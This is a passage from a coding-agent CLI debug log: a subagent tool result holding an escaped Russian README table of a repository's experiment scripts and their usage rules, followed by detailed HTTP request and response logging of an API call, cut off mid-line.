\u0442\u043e\u0447\u043d\u043e\u043c\u0443 \u0442\u0435\u043a\u0441\u0442\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f (\u043a\u043b\\n| [`experiments/issue_319_requirements_statistics.py`](../experiments/issue_319_requirements_statistics.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443 \u043f\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c \u0438\u0437 L0: \u043e\u0431\u044a\u0451\u043c, \u043c\u043e\u0434\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043e\u0442\u0432\u0435\u0442\u044b \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430, \u043a\u0440\u043e\u0441\u0441-\u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f (\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e) \u0438 \u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u044b R01\u2013R10 (\u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a\u0430\\n| [`experiments/issue_333_hh_api_source_index.py`](../experiments/issue_333_hh_api_source_index.py) | \u0421\u0442\u0440\u043e\u0438\u0442 \u0438\u043d\u0434\u0435\u043a\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 OpenAPI-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 hh.ru \u0441 \u043f\u0440\u044f\u043c\u044b\u043c\u0438 \u044f\u043a\u043e\u0440\u044f\u043c\u0438 \u0432 Redoc (`#tag//operation/`): \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 YAML \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442 \u043f\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c, \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 ma\\n| [`experiments/issue_336_link_audit.py`](../experiments/issue_336_link_audit.py) | \u0418\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0432\u0438\u043a\u0438 twin: \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043a\u0435\u043d\u044b `[twin: \u2026]` \u0438 `[ROBOTFIL \u2026]`/`[SA \u2026]` \u0432 \u043e\u0442\u0447\u0451\u0442\u0435, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\u0438\u043a\u0438 (\u0441 \u043a\u044d\u0448\u0435\u043c), \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0441 \u044f\u043a\u043e\u0440\u044f\u043c\u0438 \u0438 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441 \u0440\u0430\u0437\\n| [`experiments/issue_336_fixate_run.py`](../experiments/issue_336_fixate_run.py) | \u041f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0437\u0430\u043f\u0438\u0441\u0438 [`RUN-0061`](2026/RUN-0061/outputs/README.md) (`outputs/prompt-usage.md`, `logs/metrics.md`, `logs/link-verification.md`) \u0438\u0437 \u0437\u0430\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u0430\u0443\u0434\u0438\u0442\u0430 \u0441\u0441\u044b\u043b\u043e\u043a. |\\n| [`experiments/issue_339/generate_run.py`](../experiments/issue_339/generate_run.py) | \u0427\u0438\u0442\u0430\u0435\u0442 \u0442\u0440\u0438 BIFF-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #339 \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0448\u0435\u0441\u0442\u0438\u043a\u043e\u043b\u043e\u043d\u043e\u0447\u043d\u044b\u0439 L0 [`RUN-0062`](2026/RUN-0062/outputs/L0-customer-form-with-assessment.md), \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u044f \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e. |\\n| [`experiments/parse_765_chat_export.py`](../experiments/parse_765_chat_export.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u043e \u044d\u043f\u0438\u0437\u043e\u0434\u0430\u043c (\u0442\u043e\u043a\u0435\u043d\u044b \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430, \u0432\u0440\u0435\u043c\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438, \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f) \u0438\u0437 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u0447\u0430\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 765. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0022`](2026/RUN-0022/logs/metrics.md). |\\n| [`experiments/parse_58093_chat_export.py`](../experiments/parse_58093_chat_export.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u043e \u044d\u043f\u0438\u0437\u043e\u0434\u0430\u043c (\u0442\u043e\u043a\u0435\u043d\u044b \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430, \u0432\u0440\u0435\u043c\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438, \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f) \u0438\u0437 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u0447\u0430\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 58093. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0016`](2026/RUN-0016/logs/metrics.md). |\\n| [`experiments/okdesk_citation_grounding_probe.py`](../experiments/okdesk_citation_grounding_probe.py) | \u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432\u0435\u0431-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 (`content_list[*].extra.tool_result`) \u0438\u0437 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0437\u0435\u043c\u043b\u0435\u043d\u0438\u044f \u0441\u043d\u043e\u0441\u043e\u043a. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\\n| [`experiments/amocrm_widget_grounding_probe.py`](../experiments/amocrm_widget_grounding_probe.py) | \u041f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u043e\u0439 \u0432\u044b\u0434\u0430\u0447\u0438 (`[[N]]`), \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446 (`extract_page_success`) \u0438 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 \u0438\u0437 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0437\u0435\\n| [`experiments/signature_citation_grounding_probe.py`](../experiments/signature_citation_grounding_probe.py) | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0437\u0430\u0437\u0435\u043c\u043b\u0435\u043d\u0438\u0435 \u0441\u043d\u043e\u0441\u043e\u043a \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u041d\u0424\u0422 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u0443\u044e \u0432\u044b\u0434\u0430\u0447\u0443 \u0432\u0435\u0431-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 (`web_search`, `web_extractor`) \u0438\u0437 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 978. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0027`](202\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0441 \u043d\u0438\u043c\u0438:\\n\\n- \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f **\u0432\u0440\u0443\u0447\u043d\u0443\u044e**, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e, \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0432\u0438\u0434\u0430\\n  `python3 scripts/chat_export_to_markdown.py  ...`;\\n- **\u043d\u0435** \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0437 GitHub Actions \u0438 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 CI, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n  \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u043c\u0438 \u043f\u0440\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 Actions (\u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438);\\n- \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Python 3 \u2014 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435\u0442;\\n- \u043f\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u0443 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b [`scripts/sync_from_hub.py`](../scripts/sync_from_hub.py)\\n  \u0438 [`scripts/generate-pages-data.mjs`](../scripts/generate-pages-data.mjs):\\n  \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u043c, \u0430 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430;\\n- \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u044e\u0442: \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0438\u0448\u0443\u0442 \u0432 `prompts/`, `kb/`, `patterns/`\\n  \u0438 `site/data/`, \u0432\u044b\u0432\u043e\u0434 \u043a\u043b\u0430\u0434\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043d\u0443\u0442\u0440\u044c `runs/YYYY/RUN-XXXX/`.\\n\\n## \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f\\n\\n\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0438 \u0432 CI:\\n\\n```bash\\npython3 scripts/validate_issue_123_runs_contract.py\\n```\",\n[2026-09-29T07:44:44.444Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:44.444Z] [INFO]       }\n[2026-09-29T07:44:44.444Z] [INFO]     ]\n[2026-09-29T07:44:44.444Z] [INFO]   },\n[2026-09-29T07:44:44.444Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"uuid\": \"e667fd51-01a5-449a-a312-e554a7b5ddc7\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:44.416Z\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:44.444Z] [INFO] }\n[2026-09-29T07:44:44.497Z] [STDOUT] [log_bf7fcd] sending request {\n[2026-09-29T07:44:44.508Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:44.512Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:44.525Z] [STDOUT]   options: {\n[2026-09-29T07:44:44.529Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:44.536Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:44.539Z] [STDOUT]     body: {\n[2026-09-29T07:44:44.544Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:44.548Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:44.555Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:44.557Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:44.559Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:44.561Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:44.563Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:44.566Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:44.567Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:44.571Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:44.574Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:44.575Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:44.577Z] [STDOUT]     },\n[2026-09-29T07:44:44.579Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:44.581Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:44.582Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:44.592Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:44.595Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:44.596Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:44.598Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:44.600Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:44.602Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:44.605Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:44.608Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:44.612Z] [STDOUT]     },\n[2026-09-29T07:44:44.620Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:44.626Z] [STDOUT]   },\n[2026-09-29T07:44:44.632Z] [STDOUT]   headers: {\n[2026-09-29T07:44:44.640Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:44.643Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:44.648Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:44.654Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:44.657Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:44.679Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:44.687Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:44.705Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:44.787Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:44.806Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:44.813Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:44.833Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1399\",\n[2026-09-29T07:44:44.847Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:44.865Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:44.870Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:44.873Z] [STDOUT]     \"x-client-request-id\": \"33f7ce7b-cdc8-45ff-8750-0f9e963f362f\",\n[2026-09-29T07:44:44.881Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:44.888Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:44.898Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:44.924Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:44.932Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:44.938Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:44.943Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:44.948Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:44.952Z] [STDOUT]   },\n[2026-09-29T07:44:44.958Z] [STDOUT] }\n[2026-09-29T07:44:45.398Z] [STDOUT] [log_bf7fcd, request-id: \"req_011CfXMhndKzhcxqFCRFxzHW\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 902ms\n[2026-09-29T07:44:45.410Z] [STDOUT] [log_bf7fcd] response start {\n[2026-09-29T07:44:45.417Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:45.422Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:45.430Z] [STDOUT]   headers: {\n[2026-09-29T07:44:45.447Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:45.456Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:45.479Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:45.488Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:45.496Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:45.515Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:45.519Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:45.527Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:45.543Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:45.548Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:45.565Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:45.579Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:45.582Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:45.586Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:45.592Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:45.597Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:45.601Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:45.605Z] [STDOUT]     \"cf-ray\": \"a4295d462f7adbb5-FRA\",\n[2026-09-29T07:44:45.611Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:45.620Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:45.635Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:45.651Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:45.658Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:45 GMT\",\n[2026-09-29T07:44:45.705Z] [STDOUT]     \"request-id\": \"req_011CfXMhndKzhcxqFCRFxzHW\",\n[2026-09-29T07:44:45.714Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:45.722Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:45.730Z] [STDOUT]     traceresponse: \"00-f38d9ca3ae1f88730016bf7b1829883b-37b8f0a7e950af0e-01\",\n[2026-09-29T07:44:45.808Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:45.857Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:45.865Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:45.873Z] [STDOUT]   },\n[2026-09-29T07:44:45.895Z] [STDOUT]   durationMs: 902,\n[2026-09-29T07:44:45.902Z] [STDOUT] }\n[2026-09-29T07:44:45.908Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:45.914Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:45 GMT\",\n[2026-09-29T07:44:45.920Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:45.923Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:45.928Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:45.933Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:45.939Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:45.946Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:45.955Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:45.958Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:45.963Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:45.971Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:45.978Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:45.983Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:45.987Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:45.994Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:46.003Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:46.009Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:46.012Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:46.020Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:46.026Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:46.038Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:46.048Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:46.057Z] [STDOUT]   \"request-id\": \"req_011CfXMhndKzhcxqFCRFxzHW\",\n[2026-09-29T07:44:46.065Z] [STDOUT]   \"traceresponse\": \"00-f38d9ca3ae1f88730016bf7b1829883b-37b8f0a7e950af0e-01\",\n[2026-09-29T07:44:46.072Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:46.080Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:46.086Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:46.092Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:46.099Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:46.104Z] [STDOUT]   \"cf-ray\": \"a4295d462f7adbb5-FRA\",\n[2026-09-29T07:44:46.108Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:46.114Z] [STDOUT] [log_bf7fcd] response parsed {\n[2026-09-29T07:44:46.121Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:46.124Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:46.126Z] [STDOUT]   body: X {\n[2026-09-29T07:44:46.130Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:46.136Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:46.148Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:46.151Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:46.155Z] [STDOUT]     },\n[2026-09-29T07:44:46.159Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:46.165Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:46.171Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:46.175Z] [STDOUT]   },\n[2026-09-29T07:44:46.183Z] [STDOUT]   durationMs: 